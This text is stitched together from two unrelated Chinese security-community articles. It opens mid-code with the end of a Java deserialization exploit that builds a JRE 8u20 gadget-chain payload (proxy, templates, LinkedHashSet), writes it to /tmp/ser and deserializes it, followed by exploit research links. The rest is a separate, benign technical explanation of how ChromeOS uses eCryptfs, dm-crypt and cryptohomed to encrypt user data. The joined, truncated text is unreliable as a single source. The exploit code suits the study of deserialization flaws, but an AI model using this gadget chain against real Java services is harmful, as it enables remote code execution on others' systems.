TCObject.ObjectData hashsetData = new TCObject.ObjectData();
hashsetData.addData(makeBeanContextSupport(handler, ser));
hashsetData.addData(10, true); // capacity
hashsetData.addData(1.0f, true); // loadFactor
hashsetData.addData(2, true); // size
hashsetData.addData(templates);
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
hashsetData.addData(proxy);
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
ser.addObject(linkedHashset);
ser.write("/tmp/ser");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(new File("/tmp/ser")));
System.out.println(in.readObject());
}
}
#### 参考资料
<http://wouter.coekaerts.be/2015/annotationinvocationhandler>
这一篇资料帮助非常大，整个 payload 的思路就是这篇文章提出来的。作者对序列化机制有长时间的深入研究。
<https://gist.github.com/frohoff/24af7913611f8406eaf3>
<https://github.com/pwntester/JRE8u20_RCE_Gadget>
* * *
**欢迎关注作者公众号**
* * * | 社区文章 |
# 【技术分享】ChromeOS基于eCryptfs的用户数据安全保护机制
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[suezi@冰刃实验室](http://bobao.360.cn/member/contribute?uid=2911023682)
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
****
**概述**
**Chromebook**
的使用场景模式是允许多人分享使用同一台设备，但是同时也要保护每个用户数据的私密性，使得每个使用者都不允许访问到对方的隐私数据，包括：账户信息、浏览历史记录和cache、安装的应用程序、下载的内容以及用户自主在本地产生的文本、图片、视频等。本文试图从较高的角度阐述ChromeOS是如何通过
**eCryptfs** 机制保护用户数据隐私。
****
**eCryptfs简介**
eCryptfs在 **Linux kernel 2.6.19**
由IBM公司的Halcrow，Thompson等人引入，在Cryptfs的基础上实现，用于企业级的文件系统加密，支持文件名和文件内容的加密。本质上eCryptfs
就像是一个内核版本的 Pretty Good Privacy（PGP）服务，插在
VFS和下层物理文件系统之间，充当一个“过滤器”的角色。用户应用程序对加密文件的写请求，经系统调用层到达 VFS 层，VFS 转给 eCryptfs
文件系统组件处理，处理完毕后，再转给下层物理文件系统；读请求流程则相反。
eCryptfs 的设计受到 **OpenPGP**
规范的影响，核心思想：eCryptfs通过一种对称密钥加密算法来加密文件的内容或文件名，如AES-128，密钥 FEK（File Encryption
Key）随机产生。而FEK通过用户口令或者公钥进行保护，加密后的FEK称EFEK（Encrypted File Encryption
Key），口令/公钥称为 FEFEK（File Encryption Key Encryption
Key）。在保存文件时，将包含有EFEK、加密算法等信息的元数据（metadata）放置在文件的头部或者xattr扩展属性里（本文默认以前者做为讲解），打开文件前再解析metadata。
图一 eCryptfs的系统架构
eCryptfs的系统架构如图一所示，eCryptfs堆叠在EXT4文件系统之上，工作时需要用户程序和内核同时配合，用户程序主要负责获取密钥并通过(add_key/keyctl/request_key)系统调用传送到内核的keyring，当某个应用程序发起对文件的读写操作前，由eCryptfs对其进行加/解密，加/解密的过程中需要调用Kernel的Crypto
API（AES/DES etc）来完成。以对目录eCryptfs-test进行加密为例，为方便起见，在Ubuntu系统下测试eCryptfs的建立流程，如图二所示，通过mount指令发起eCryptfs的建立流程，然后在用户应用程序eCryptfs-utils的辅助下输入用于加密FEK的用户口令及选择加密算法等，完成挂载后意味着已经开始对测试目录eCryptfs-test的所有内容进行加密处理。测试中在eCryptfs-test目录下增加需要加密的文件或目录的内容，当用户umount退出对eCryptfs-test目录的挂载后再次查看该目录时，发现包括文件名和文件内容都进行了加密，如图三所示。
图二 eCryptfs使用时的建立流程
图三 eCryptfs加密后的文件
图四 eCryptfs对文件的加解密流程
实现上，eCryptfs对数据的加/解密流程如图四所示，对称密钥加密算法以块为单位进行加密/解密，如AES-128。eCryptfs
将加密文件分成多个逻辑块，称为 extent，extent 的大小可调，但是不能大于实际物理页，默认值等于物理页的大小，如32位的系统下是 4096
字节。加密文件的头部存放元数据，包括元数据长度、标志位、旗标、EFEK及相应的signature，目前元数据的最小长度为 8192
字节。加/解密开始前，首先解密FEKEK取出FEK。当读入一个 extent 中的任何部分的密文时，整个 extent 被读入 Page Cache，通过
Kernel Crypto API 进行解密；当 extent 中的任何部分的明文数据被写回磁盘时，需要加密并写回整个 extent。
****
**eCryptfs详述**
eCryptfs在内核中的实现代码位于kernel/fs/ecryptfs，下面以eCryptfs使用到的关键数据结构、eCryptfs
init、eCryptfs mount、file creat、file open、file read、file
write的顺序分别介绍eCryptfs是如何工作。另外，eCryptfs还实现了/dev/ecryptfs的misc设备，用于内核与应用程序间的消息传递，如密钥请求与响应，属于非必选项，因此这里不对其进行介绍。
****
**eCryptfs相关的数据结构**
eCryptfs关键的数据结构包括eCryptfs
文件系统相关file、dentry、inode、superblock、file_system_type描述、auth
token认证令牌描述、eCryptfs加密信息描述等。
eCryptfs文件系统相关的数据结构如清单一所示，下文将会重点介绍file_system_type中的mount函数，即ecryptfs_mount。
**清单一 eCryptfs文件系统相关的数据结构**
/* ecryptfs file_system_type */
static struct file_system_type ecryptfs_fs_type = {
.owner = THIS_MODULE,
.name = "ecryptfs",
.mount = ecryptfs_mount,
.kill_sb = ecryptfs_kill_block_super,
.fs_flags = 0
};
/* superblock private data. */
struct ecryptfs_sb_info {
struct super_block *wsi_sb;
struct ecryptfs_mount_crypt_stat mount_crypt_stat;
struct backing_dev_info bdi;
};
/* inode private data. */
struct ecryptfs_inode_info {
struct inode vfs_inode;
struct inode *wii_inode;
struct mutex lower_file_mutex;
atomic_t lower_file_count;
struct file *lower_file;
struct ecryptfs_crypt_stat crypt_stat;
};
/* dentry private data. Each dentry must keep track of a lower vfsmount too. */
struct ecryptfs_dentry_info {
struct path lower_path;
union {
struct ecryptfs_crypt_stat *crypt_stat;
struct rcu_head rcu;
};
};
/* file private data. */
struct ecryptfs_file_info {
struct file *wfi_file;
struct ecryptfs_crypt_stat *crypt_stat;
};
eCryptfs支持对文件名（包括目录名）进行加密，因此特意使用了struct ecryptfs_filename的结构封装文件名，如清单二所示。
**清单二 文件名的数据结构**
struct ecryptfs_filename {
struct list_head crypt_stat_list;
u32 flags;
u32 seq_no;
char *filename;
char *encrypted_filename;
size_t filename_size;
size_t encrypted_filename_size;
char fnek_sig[ECRYPTFS_SIG_SIZE_HEX];
char dentry_name[ECRYPTFS_ENCRYPTED_DENTRY_NAME_LEN + 1];
};
struct
ecryptfs_auth_tok用于记录认证令牌信息，包括用户口令和非对称加密两种类型，每种类型都包含有密钥的签名，用户口令类型还包含有算法类型和加盐值等，如清单三所示。为了方便管理，使用时统一将其保存在struct
ecryptfs_auth_tok_list_item链表中。
**清单三 认证令牌信息的数据结构**
struct ecryptfs_auth_tok {
u16 version; /* 8-bit major and 8-bit minor */
u16 token_type;
u32 flags;
struct ecryptfs_session_key session_key;
u8 reserved[32];
union {
struct ecryptfs_password password; //用户口令类型
struct ecryptfs_private_key private_key; //非对称加密类型
} token;
}
struct ecryptfs_password {
u32 password_bytes;
s32 hash_algo;
u32 hash_iterations;
u32 session_key_encryption_key_bytes;
u32 flags;
/* Iterated-hash concatenation of salt and passphrase */
u8 session_key_encryption_key[ECRYPTFS_MAX_KEY_BYTES];
u8 signature[ECRYPTFS_PASSWORD_SIG_SIZE + 1];
/* Always in expanded hex */
u8 salt[ECRYPTFS_SALT_SIZE];
};
struct ecryptfs_private_key {
u32 key_size;
u32 data_len;
u8 signature[ECRYPTFS_PASSWORD_SIG_SIZE + 1];
char pki_type[ECRYPTFS_MAX_PKI_NAME_BYTES + 1];
u8 data[];
};
eCryptfs在mount时会传入全局加解密用到密钥、算法相关数据，并将其保存在struct
ecryptfs_mount_crypt_stat，如清单四所示
**清单四 mount时传入的密钥相关数据结构**
struct ecryptfs_mount_crypt_stat {
u32 flags;
struct list_head global_auth_tok_list;
struct mutex global_auth_tok_list_mutex;
size_t global_default_cipher_key_size;
size_t global_default_fn_cipher_key_bytes;
unsigned char global_default_cipher_name[ECRYPTFS_MAX_CIPHER_NAME_SIZE + 1];
unsigned char global_default_fn_cipher_name[
ECRYPTFS_MAX_CIPHER_NAME_SIZE + 1];
char global_default_fnek_sig[ECRYPTFS_SIG_SIZE_HEX + 1];
};
eCryptfs读写文件时首先需要进行加/解密，此时使用的密钥相关数据保存在struct
ecryptfs_crypt_stat结构中，其具体数值在open时初始化，部分从mount时的ecryptfs_mount_crypt_stat复制过来，部分从分析加密文件的metadata获取，该数据结构比较关键，贯穿eCryptfs的文件open、read、write、close等流程，如清单五所示。
**清单五 ecryptfs_crypt_stat数据结构**
struct ecryptfs_crypt_stat {
u32 flags;
unsigned int file_version;
size_t iv_bytes;
size_t metadata_size;
size_t extent_size; /* Data extent size; default is 4096 */
size_t key_size;
size_t extent_shift;
unsigned int extent_mask;
struct ecryptfs_mount_crypt_stat *mount_crypt_stat;
struct crypto_ablkcipher *tfm;
struct crypto_hash *hash_tfm; /* Crypto context for generating
* the initialization vectors */
unsigned char cipher[ECRYPTFS_MAX_CIPHER_NAME_SIZE + 1];
unsigned char key[ECRYPTFS_MAX_KEY_BYTES];
unsigned char root_iv[ECRYPTFS_MAX_IV_BYTES];
struct list_head keysig_list;
struct mutex keysig_list_mutex;
struct mutex cs_tfm_mutex;
struct mutex cs_hash_tfm_mutex;
struct mutex cs_mutex;
};
**eCryptfs init过程**
使用eCryptfs前，首先需要通过内核的配置选项“CONFIG_ECRYPT_FS=y”使能eCryptfs，因为加解密时使用到内核的crypto和keystore接口，所以要确保“CONFIG_CRYPTO=y”，“CONFIG_KEYS=y”，“CONFIG_ENCRYPTED_KEYS=y”，同时使能相应的加解密算法，如AES等。重新编译内核启动后会自动注册eCryptfs，其init的代码如清单六所示。
**清单六 eCryptfs init过程**
static int __init ecryptfs_init(void)
{
int rc;
//eCryptfs的extent size不能大于page size
if (ECRYPTFS_DEFAULT_EXTENT_SIZE > PAGE_CACHE_SIZE) {
rc = -EINVAL; ecryptfs_printk(KERN_ERR，…); goto out;
}
/*为上文列举到的eCryptfs重要的数据结构对象申请内存，如eCryptfs的auth token、superblock、inode、dentry、file、key等*/
rc = ecryptfs_init_kmem_caches();
…
//建立sysfs接口，该接口中的version各bit分别代表eCryptfs支持的能力和属性
rc = do_sysfs_registration();
…
//建立kthread，为后续eCryptfs读写lower file时能借助内核函数得到rw的权限
rc = ecryptfs_init_kthread();
…
//在chromeos中该函数为空，直接返回0
rc = ecryptfs_init_messaging();
…
//初始化kernel crypto
rc = ecryptfs_init_crypto();
…
//注册eCryptfs文件系统
rc = register_filesystem(&ecryptfs_fs_type);
…
return rc;
}
**eCryptfs mount过程**
在使能了eCryptfs的内核，当用户在应用层下发“mount –t ecryptfs src dst
options”指令时触发执行上文清单一中的ecryptfs_mount函数进行文件系统的挂载安装并初始化auth
token，成功执行后完成对src目录的eCryptfs属性的指定，eCryptfs开始正常工作，此后任何在src目录下新建的文件都会被自动加密处理，若之前该目录已有加密文件，此时会被自动解密。
ecryptfs_mount涉及的代码比较多，篇幅有限，化繁为简，函数调用关系如图五所示。
图五 eCryptfs mount的函数调用关系图
从图五可看到mount时首先利用函数ecryptfs_parse_options()对传入的option参数做解析，完成了如下事项：
1\. 调用函数ecryptfs_init_mount_crypt_stat()初始化用于保存auth token相关的 struct
ecryptfs_mount_crypt_stat 对象；
2\. 调用函数ecryptfs_add_global_auth_tok()将从option传入的分别用于FEK和FNEK（File Name
Encryption Key，用于文件名加解密）的auth token的signature保存到struct
ecryptfs_mount_crypt_stat 对象；
3\. 分析option传入参数，初始化struct ecryptfs_mount_crypt_stat
对象的成员，如global_default_cipher_name、global_default_cipher_key_size、flags、global_default_fnek_sig、global_default_fn_cipher_name、global_default_fn_cipher_key_bytes等；
4\. 调用函数ecryptfs_add_new_key_tfm()针对FEK和FNEK的加密算法分别初始化相应的kernel crypto tfm接口；
5\. 调用函数ecryptfs_init_global_auth_toks()将解析option后得到key
sign做为参数利用keyring的request_key接口获取上层应用传入的auth token，并将auth token添加入struct
ecryptfs_mount_crypt_stat 的全局链表中，供后续使用。
接着为eCryptfs创建superblock对象并初始化，具体如下：
通过函数sget()创建eCryptfs类型的superblock；
调用bdi_setup_and_register()函数为eCryptfs的ecryptfs_sb_info 对象初始化及注册数据的回写设备bdi；
初始化eCryptfs superblock对象的各成员，如s_fs_info、s_bdi、s_op、s_d_op等；
然后获取当前挂载点的path并判断是否已经是eCryptfs，同时对执行者的权限做出判断；
再通过ecryptfs_set_superblock_lower()函数将eCryptfs的superblock和当前挂载点上底层文件系统对应的VFS
superblock产生映射关系；
根据传入的mount option参数及VFS映射点superblock的值初始化eCryptfs
superblock对象flag成员，如关键的MS_RDONLY属性；
根据VFS映射点superblock的值初始化eCryptfs superblock对象的其他成员
，如s_maxbytes、s_blocksize、s_stack_depth；
最后设置superblock对象的s_magic为ECRYPTFS_SUPER_MAGIC。这可看出eCryptfs在Linux
kernel的系统架构中，其依赖于VFS并处于VFS之下层，实际文件系统之上层。
下一步到创建eCryptfs的inode并初始化，相应工作通过函数ecryptfs_get_inode()完成，具体包括：
首先获取当前挂载点对应的VFS的inode；
然后调用函数iget5_locked()在挂载的fs中获取或创建一个eCryptfs的inode，并将该inode与挂载点对应的VFS的inode建立映射关系，与superblock类似，eCryptfs的inode对象的部分初始值从其映射的VFS
inode中拷贝，inode
operation由函数ecryptfs_inode_set()发起初始化，根据inode是符号链接还是目录文件还是普通文件分别进行不同的i_op
赋值，如ecryptfs_symlink_iops/ecryptfs_dir_iops/ecryptfs_main_iops；
同时对i_fop file_operations进行赋值，如ecryptfs_dir_fops/ecryptfs_main_fops 。
然后调用d_make_root()函数为之前创建的superblock设置eCryptfs的根目录s_root。
最后通过ecryptfs_set_dentry_private()函数为eCryptfs设置dentry。
****
**加密文件creat过程**
creat过程特指应用层通过creat系统调用创建一个新的加密文件的流程。以应用程序通过creat()函数在以eCryptfs挂载的目录下创建加密文件为例，其函数调用流程如图六所示，creat()通过系统调用进入VFS，后经过层层函数调用，最终调用到eCryptfs层的ecryptfs_create()函数，该部分不属于eCryptfs的重点，不详述。
图六 create经由VFS调用ecryptfs_create的流程
图七 eCryptfs创建加密文件的函数调用过程
eCryptfs层通过ecryptfs_create() 函数完成最终的加密文件的创建，关键代码的调用流程如图七所示，以代码做为视图，分为三大步骤：
一、通过ecryptfs_do_create()函数创建eCryptfs 文件的inode并初始化；
二、通过函数ecryptfs_initialize_file()将新创建的文件初始化成eCryptfs加密文件的格式，添加入诸如加密算法、密钥信息等，为后续的读写操作初始化好crypto接口；
三、通过d_instantiate()函数将步骤一生成的inode信息初始化相应的dentry。具体如下：
**一．为新文件创建inode**
首先借助ecryptfs_dentry_to_lower()函数根据eCryptfs和底层文件系统（在chromeos里就是ext4）的映射关系获取到底层文件系统的dentry值。然后调用vfs_create()函数在底层文件系统上创建inode，紧接着利用__ecryptfs_get_inode()函数创建eCryptfs的inode
对象并初始化以及建立其与底层文件系统inode间的映射关系，之后通过fsstack_copy_attr_times()、fsstack_copy_inode_size()函数利用底层文件系统的inode对象的值初始化eCryptfs
inode的相应值。
**二．初始化eCryptfs新文件**
经过步骤一完成了在底层文件系统上新建了文件，现在通过函数ecryptfs_initialize_file()将该文件设置成eCryptfs加密文件的格式。
1\. ecryptfs_new_file_context()函数完成初始化文件的context，主要包括加密算法cipher、auth
token、生成针对文件加密的随机密钥等，这里使用的关键数据结构是struct
ecryptfs_crypt_stat，具体如清单五所示，初始化文件的context基本可以看成是初始化struct
ecryptfs_crypt_stat对象，该对象的cipher、auth token、key sign等值从mount
eCryptfs传入的option并保存在struct ecryptfs_mount_crypt_stat （详见清单四）对象中获取。具体是：
首先由ecryptfs_set_default_crypt_stat_vals()函数完成flags、extent_size、metadata_size、cipher、key_size、file_version、mount_crypt_stat等ecryptfs_crypt_stat对象的缺省值设置；
然后再通过ecryptfs_copy_mount_wide_flags_to_inode_flags()函数根据mount时设置的ecryptfs_mount_crypt_stat的flags重新设置ecryptfs_crypt_stat对象flags；
接着由ecryptfs_copy_mount_wide_sigs_to_inode_sigs()函数将mount时保存的key
sign赋值给ecryptfs_crypt_stat对象的keysig_list中的节点对象中的keysig；
然后继续将ecryptfs_mount_crypt_stat的cipher、key_size等值赋给ecryptfs_crypt_stat对象中的相应值；再调用函数ecryptfs_generate_new_key()生成key并保存到ecryptfs_crypt_stat对象的key；最后通过ecryptfs_init_crypt_ctx()函数完成kernel
crypto context的初始化，如tfm，为后续的写操作时的加密做好准备。
2\.
ecryptfs_get_lower_file()通过调用底层文件系统的接口打开文件，需要注意的是ecryptfs_privileged_open()，该函数唤醒了上文清单六提到kthread，借助该内核线程，eCryptfs巧妙避开了底层文件的读写权限的限制。
3\. ecryptfs_write_metadata()完成关键的写入eCryptfs文件格式到新创建的文件中。
关键函数ecryptfs_write_headers_virt()的代码如清单七所示，eCryptfs保存格式如清单七的注释（也可参考上文的图四），其格式传承自OpenPGP，最后在ecryptfs_generate_key_packet_set()完成EFEK的生成，并根据token_type的类型是ECRYPTFS_PASSWORD还是ECRYPTFS_PRIVATE_KEY生成不同的OpenPGP的Tag，之后保存到eCryptfs文件头部bytes
26开始的地方。这里以ECRYPTFS_PASSWORD为例，因此bytes 26地址起存放的内容是Tag3和Tag11，对应着EFEK和Key
sign。否则保存的是Tag1，即EFEK。Tag3或Tag1的具体定义详见OpenPGP的描述文档RFC2440.
之后将生成的eCryptfs文件的头部数据保存到底层文件系统中，该工作由ecryptfs_write_metadata_to_contents()完成。
4\. 最后通过ecryptfs_put_lower_file()将文件改动的所有脏数据回写入磁盘。
**三．通过d_instantiate()函数将步骤一生成的inode信息初始化相应的dentry方便后续的读写操作**
**清单七 写入eCryptfs格式文件的关键函数**
/* Format version: 1
* Header Extent:
* Octets 0-7: Unencrypted file size (big-endian)
* Octets 8-15: eCryptfs special marker
* Octets 16-19: Flags
* Octet 16: File format version number (between 0 and 255)
* Octets 17-18: Reserved
* Octet 19: Bit 1 (lsb): Reserved
* Bit 2: Encrypted?
* Bits 3-8: Reserved
* Octets 20-23: Header extent size (big-endian)
* Octets 24-25: Number of header extents at front of file (big-endian)
* Octet 26: Begin RFC 2440 authentication token packet set
* Data Extent 0: Lower data (CBC encrypted)
* Data Extent 1: Lower data (CBC encrypted)
* ...
*/
static int ecryptfs_write_headers_virt(char *page_virt, size_t max,
size_t *size,
struct ecryptfs_crypt_stat *crypt_stat,
struct dentry *ecryptfs_dentry)
{
int rc;
size_t written;
size_t offset;
offset = ECRYPTFS_FILE_SIZE_BYTES;
write_ecryptfs_marker((page_virt + offset), &written);
offset += written;
ecryptfs_write_crypt_stat_flags((page_virt + offset), crypt_stat,
&written);
offset += written;
ecryptfs_write_header_metadata((page_virt + offset), crypt_stat,
&written);
offset += written;
rc = ecryptfs_generate_key_packet_set((page_virt + offset), crypt_stat,
ecryptfs_dentry, &written,
max - offset);
…
return rc;
}
**加密文件open过程**
这里open过程主要指通过open系统调用打开一个已存在的加密文件的流程。当应用程序在已完成eCryptfs挂载的目录下open一个已存在的加密文件时（这里以普通文件为例），其系统调用流程如图八所示，经由层层调用后进入ecryptfs_open()函数，由其完成加密文件的metadata分析，然后取出EFEK并使用kernel
crypto解密得到FEK。另外在文中”create过程”分析时，着重介绍了创建eCryptfs格式文件的过程，省略了在完成lookup_open()函数调用后的vfs_open()的分析，它与这里介绍的vfs_open()流程是一样的。需要特别指出的是在do_dentry_open函数里初始化了struct
file的f_mapping成员，让其指向inode->i_mapping；而在上图五的inode的创建函数ecryptfs_inode_set中存在”inode->i_mapping->a_ops
= &ecryptfs_aops”的赋值语句，这为后续的加密文件的页读写时使用的关键对象struct address_space_operations
a_ops做好了初始化。
下面重点介绍ecryptfs_open()函数，其主要的函数调用关系如图九所示。eCryptfs支持Tag3和Tag1的形式保存EFEK，这里的分析默认是采用了Tag3的方式。
图八 create经由VFS调用ecryptfs_create的流程
图九 eCryptfs创建加密文件的函数调用过程
ecryptfs_open()函数的完成的主要功能包括读取底层文件，分析其文件头部的metadata，取出关键的EFEK及key sign，之后根据key
sign从ecryptfs_mount_crypt_stat对象中匹配到相应的auth token，再调用kernel
crypto解密EFEK得到FEK，最后将FEK保存到ecryptfs_crypt_stat的key成员中，完成ecryptfs_crypt_stat对象的初始化，供后续的文件加解密使用。具体如下：
1\. ecryptfs_set_file_private()巧妙的将struct ecryptfs_file_info保存到struct
file的private_data中，完成VFS和eCryptfs之间的链式表达及映射；
2\. ecryptfs_get_lower_file()借助kthread 内核线程巧妙的获取到底层文件的RW权限；
3\. ecryptfs_set_file_lower()完成struct
ecryptfs_file_info的wfi_file和底层文件系统文件lower_file之间的映射；
4\.
read_or_initialize_metadata()完成了ecryptfs_open的大部分功能，首先通过ecryptfs_copy_mount_wide_flags_to_inode_flags()从文件对应的ecryptfs_mount_crypt_stat中拷贝flags对ecryptfs_crypt_stat的flags进行初始化；之后使用函数ecryptfs_read_lower()读取文件的头部数据，紧接着利用ecryptfs_read_headers_virt()进行数据分析和处理，包括：
1)
利用ecryptfs_set_default_sizes()初始化ecryptfs_crypt_stat对象的extent_size、iv_bytes、metadata_size等成员的默认值;
2) 使用ecryptfs_validate_marker()校验文件的marker标记值是否符合eCryptfs文件格式；
3)
通过ecryptfs_process_flags()取出文件metadata保存的flag并修正ecryptfs_crypt_stat对象成员flags的值,同时初始化对象成员file_version；
4)
在parse_header_metadata()分析文件的metadata的大小并保存到ecryptfs_crypt_stat对象成员metadata_size；
5) 通过ecryptfs_parse_packet_set()解析Tag3和Tag11的OpenPGP格式包，获取EFEK及key sign，后根据key
sign匹配到auth token，再调用kernel crypto解密EFEK得到FEK。对应的代码实现逻辑是：
parse_tag_3_packet()解析Tag3，获取EFEK和cipher，同时将cipher保存到ecryptfs_crypt_stat对象成员cipher；
parse_tag_11_packet()解析出key sign，保存到auth_tok_list链表中；
ecryptfs_get_auth_tok_sig()从auth_tok_list链表中获取到key sign；
然后通过ecryptfs_find_auth_tok_for_sig()根据key
sign从ecryptfs_mount_crypt_stat对象中匹配到相应的auth token；
再利用decrypt_passphrase_encrypted_session_key()使用分析得到的auth
token、cipher解密出FEK，并将其保存在ecryptfs_crypt_stat的key成员；
之后在ecryptfs_compute_root_iv()函数里初始化ecryptfs_crypt_stat的root_iv成员，在ecryptfs_init_crypt_ctx()函数里初始化ecryptfs_crypt_stat的kernel
crypto接口tfm。至此，ecryptfs_crypt_stat对象初始化完毕，后续文件在读写操作时使用到的加解密所需的所有信息均在该对象中获取。
****
**加密文件read过程**
read过程指应用程序通过read()函数在eCryptfs挂载的目录下读取文件的过程。因为挂载点在挂载eCryptfs之前可能已经存在文件，这些已存在的文件属于非加密文件，只有在完成eCryptfs挂载后的文件才自动保存成eCryptfs格式的加密文件，所以读取文件时需要区分文件是否属于加密文件。从应用程序发起read()操作到eCryptfs层响应的函数调用关系流程图如十所示，读取时采用page
read的机制，涉及到page cache的问题，图中以首次读取文件，即文件内容还没有被读取到page cache的情况为示例。
自ecryptfs_read_update_atime()起进入到eCryptfs层，由此函数完成从底层文件系统中读取出文件内容，若是加密文件则利用kernel
crypto和open时初始化好的ecryptfs_crypt_stat对象完成内容的解密，之后将解密后的文件内容拷贝到上层应用程序，同时更新文件的访问时间，其中touch_atime()完成文件的访问时间的更新；
generic_file_read_iter()函数调用内核函数do_generic_file_read()，完成内存页的申请，并借助mapping->a_ops->readpage()调用真正干活的主力ecryptfs_readpage()来完成解密工作，最后通过copy_page_to_iter()将解密后的文件内容拷贝到应用程序。到了关键的解密阶段，描述再多也不如代码来的直观，ecryptfs_readpage()的核心代码如清单八、九、十所示。
图十 create经由VFS调用ecryptfs_create的流程
**清单八 ecryptfs_readpage()关键代码**
static int ecryptfs_readpage(struct file *file, struct page *page)
{
struct ecryptfs_crypt_stat *crypt_stat =
&ecryptfs_inode_to_private(page->mapping->host)->crypt_stat;
int rc = 0;
if (!crypt_stat || !(crypt_stat->flags & ECRYPTFS_ENCRYPTED)) {
//读取非加密文件
rc = ecryptfs_read_lower_page_segment(page, page->index, 0,
PAGE_CACHE_SIZE,
page->mapping->host);
} else if (crypt_stat->flags & ECRYPTFS_VIEW_AS_ENCRYPTED) {
//直接读取密文给上层，此时应用程序读到的是一堆乱码
if (crypt_stat->flags & ECRYPTFS_METADATA_IN_XATTR) {
rc = ecryptfs_copy_up_encrypted_with_header(page, crypt_stat);
…
} else {
rc = ecryptfs_read_lower_page_segment(
page, page->index, 0, PAGE_CACHE_SIZE,
page->mapping->host);
…
}
} else {
//读取密文并调用kernel crypto解密
rc = ecryptfs_decrypt_page(page);
…
}
…
return rc;
}
**清单九 ecryptfs_decrypt_page()核心代码**
int ecryptfs_decrypt_page(struct page *page)
{
…
ecryptfs_inode = page->mapping->host;
//获取包含有FEK、cipher、crypto context tfm信息的ecryptfs_crypt_stat
crypt_stat = &(ecryptfs_inode_to_private(ecryptfs_inode)->crypt_stat);
//计算加密文件内容在底层文件中的偏移
lower_offset = lower_offset_for_page(crypt_stat, page);
page_virt = kmap(page);
//利用底层文件系统的接口读取出加密文件的内容
rc = ecryptfs_read_lower(page_virt, lower_offset, PAGE_CACHE_SIZE, ecryptfs_inode);
kunmap(page);
…
for (extent_offset = 0;
extent_offset < (PAGE_CACHE_SIZE / crypt_stat->extent_size);
extent_offset++) {
//解密文件内容
rc = crypt_extent(crypt_stat, page, page,
extent_offset, DECRYPT);
…
}
…
}
**清单十 crypt_extent()核心加解密函数的关键代码**
static int crypt_extent(struct ecryptfs_crypt_stat *crypt_stat,
struct page *dst_page,
struct page *src_page,
unsigned long extent_offset, int op)
{
//op 指示时利用该函数进行加密还是解密功能
pgoff_t page_index = op == ENCRYPT ? src_page->index : dst_page->index;
loff_t extent_base;
char extent_iv[ECRYPTFS_MAX_IV_BYTES];
struct scatterlist src_sg, dst_sg;
size_t extent_size = crypt_stat->extent_size;
int rc;
extent_base = (((loff_t)page_index) * (PAGE_CACHE_SIZE / extent_size));
rc = ecryptfs_derive_iv(extent_iv, crypt_stat,
(extent_base + extent_offset));
…
sg_init_table(&src_sg, 1);
sg_init_table(&dst_sg, 1);
sg_set_page(&src_sg, src_page, extent_size,
extent_offset * extent_size);
sg_set_page(&dst_sg, dst_page, extent_size,
extent_offset * extent_size);
//调用kernel crypto API进行加解密
rc = crypt_scatterlist(crypt_stat, &dst_sg, &src_sg, extent_size, extent_iv, op);
…
return rc;
}
理顺了mount、open的流程，知道FEK、cipher、kernel crypto
context的值及存放位置，同时了解了加密文件的格式，解密的过程显得比较简单，感兴趣的同学可以继续查看crypt_scatterlist()的代码，该函数纯粹是调用kernel
crypto API进行加解密的过程，跟eCryptfs已经没有关系。
****
**加密文件write过程**
eCryptfs文件write的流程跟read类似，在写入lower
file前先通过ecryptfs_writepage()函数进行文件内容的加密，这里不再详述。
****
**ChromeOS使用eCryptfs的方法及流程**
Chromeos在保护用户数据隐私方面可谓不遗余力，首先在系统分区上专门开辟出专用于存储用户数据的stateful
partition，当用户进行正常和开发者模式切换时，该分区的数据将会被自动擦除；其次该stateful partition的绝大部分数据采用dm-crypt进行加密，在系统启动时用户登录前由mount-encrypted完成解密到/mnt/stateful_partition/encrypted，另外完成以下几个mount工作：
将/Chromeos/mnt/stateful_partition/home bind mount 到/home；
将/mnt/stateful_partition/encrypted/var bind mount到/var目录；
将/mnt/stateful_partition/encrypted/chromos bind mount 到/home/chronos。
最后在用户登录时发起对该用户私有数据的eCryptfs加解密的流程，具体工作由cryptohomed守护进程负责完成，eCryptfs加密文件存放在/home/.shadow/[salted_hash_of_username]/vault目录下，感兴趣的读者可通过ecryptfs-stat命令查看其文件状态和格式，mount点在/home/.shadow/[salted_hash_of_username]/mount，之后对/home/.shadow/[salted_hash_of_username]/mount下的user和root建立bind
mount点，方便用户使用。
如将/home/.shadow/[salted_hash_of_username]/mount/user bind
mount到/home/user/[salted_hash_of_username]和/home/chronos/u-[salted_hash_of_username]
；
将/home/.shadow/[salted_hash_of_username]/mount/root bind
mount到/home/root/[salted_hash_of_username]。
用户在存取数据时一般是对目录/home/chronos/u-[salted_hash_of_username]进行操作。
eCryptfs在Chromeos中的应用架构如图十所示。系统启动后开启cryptohomed的守护进程，由该进程来响应eCryptfs的挂载和卸载等，进程间采用D-Bus的方式进行通信，cryptohome应用程序主用于封装用户的动作命令，后通过D-Bus向cryptohomed发起请求。如可通过cryptohome命令”cryptohome -–action=mount
-–user=[account_id]”来发起eCryptfs的挂载；通过命令”cryptohome
-–action=unmount”卸载eCryptfs的挂载，执行成功此命令后，用户的所有个人数据将无法访问，如用户先前下载的文件内容不可见、安装的应用程序不可使用，/home/.shadow/[salted_hash_of_username]/mount内容为空。
图十一 eCryptfs在Chromeos中的架构图
cryptohomed特色的mount流程如下：
1\. cryptohomed在D-Bus上接收到持（包含用户名和密码）有效用户证书的mount请求，当然D-Bus请求也是有权限控制的；
2\. 假如是用户首次登陆，将进行：
a.建立/home/.shadow/[salted_hash_of_username]目录，采用SHA1算法和系统的salt对用户名进行加密，生成salted_hash_of_username，简称s_h_o_u;
b.生成vault keyset
/home/.shadow/[salted_hash_of_username]/master.0和/home/.shadow/[salted_hash_of_username]/master.0.sum。
master.0加密存储了包含有FEK和FNEK的内容以及非敏感信息如salt、password
rounds等；master.0.sum是对master.0文件内容的校验和。
3\.
采用通过mount请求传入的用户证书解密keyset。当TPM可用时优先采用TPM解密，否则采用Scrypt库，当TPM可用后再自动切换回使用TPM。cryptohome使用TPM仅仅是为了存储密钥，由TPM封存的密钥仅能被TPM自身使用，这可用缓解密钥被暴力破解，增强保护用户隐私数据的安全。TPM的首次初始化由cryptohomed完成。这里默认TPM可正常使用，其解密机制如下图十二所示，其中：
**UP** ：User Passkey，用户登录口令
